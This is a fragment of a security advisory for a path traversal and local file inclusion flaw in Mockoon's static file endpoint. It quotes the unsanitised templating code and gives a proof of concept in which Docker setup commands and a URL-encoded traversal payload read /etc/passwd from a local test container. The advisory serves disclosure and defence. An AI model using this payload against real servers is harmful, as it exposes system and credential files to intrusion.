  "summary" : "Mockoon has a Path Traversal and LFI in the static file serving endpoint",
  "details" : "### Summary\nA mock API configuration for static file serving following the same approach presented in the [documentation page](https://mockoon.com/tutorials/create-endpoint-serving-static-file/), where the server filename is generated via templating features from user input is vulnerable to Path Traversal and LFI, allowing an attacker to get any file in the mock server filesystem.\nThe issue may be particularly relevant in cloud hosted server instances\n\n### Details\nIn `sendFileWithCallback`([code](https://github.com/mockoon/mockoon/blob/1ed31c4059d7f757f6cb2a43e10dc81b0d9c55a9/packages/commons-server/src/libs/server/server.ts#L1400)) and `sendFile`([code](https://github.com/mockoon/mockoon/blob/1ed31c4059d7f757f6cb2a43e10dc81b0d9c55a9/packages/commons-server/src/libs/server/server.ts#L1551)) the `filePath` variable is parsed using `TemplateParser`\n\n```js\nlet filePath = TemplateParser({\n        shouldOmitDataHelper: false,\n        // replace backslashes with forward slashes, but not if followed by a dot (to allow helpers with paths containing properties with dots: e.g. {{queryParam 'path.prop\\.with\\.dots'}})\n        content: routeResponse.filePath.replace(/\\\\(?!\\.)/g, '/'),\n        environment: this.environment,\n        processedDatabuckets: this.processedDatabuckets,\n        globalVariables: this.globalVariables,\n        request: serverRequest,\n        envVarsPrefix: this.options.envVarsPrefix\n      });\n```\n\nThe path extracted from the request parameters used when composing the final file path is not sanitized and is vulnerable to path traversal exploits (e.g. `../../../../../etc/passwd`)\n\n### PoC\n#### Test setup\nThe issue has been tested with `mockoon-cli`, using the Docker image `mockoon/cli:latest`\n\n[config.json](https://github.com/user-attachments/files/18199899/config.json)\n\n```bash\n# Folder setup\nmkdir mockoon-test\ncd mockoon-test\n\n# put config.json in mockooon-test dir\n\nmkdir static\n```\n\n```bash\n# Run container\ndocker run -d --mount type=bind,source=./config.json,target=/data,readonly -v ./static:/static -p 3000:3000 mockoon/cli:latest -d data -p 3000\n```\n\n#### Payload to reproduce\nBrowsing directly to `http://localhost:3000/static/%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd` is going to display the `/etc/passwd` file in the container filesystem",
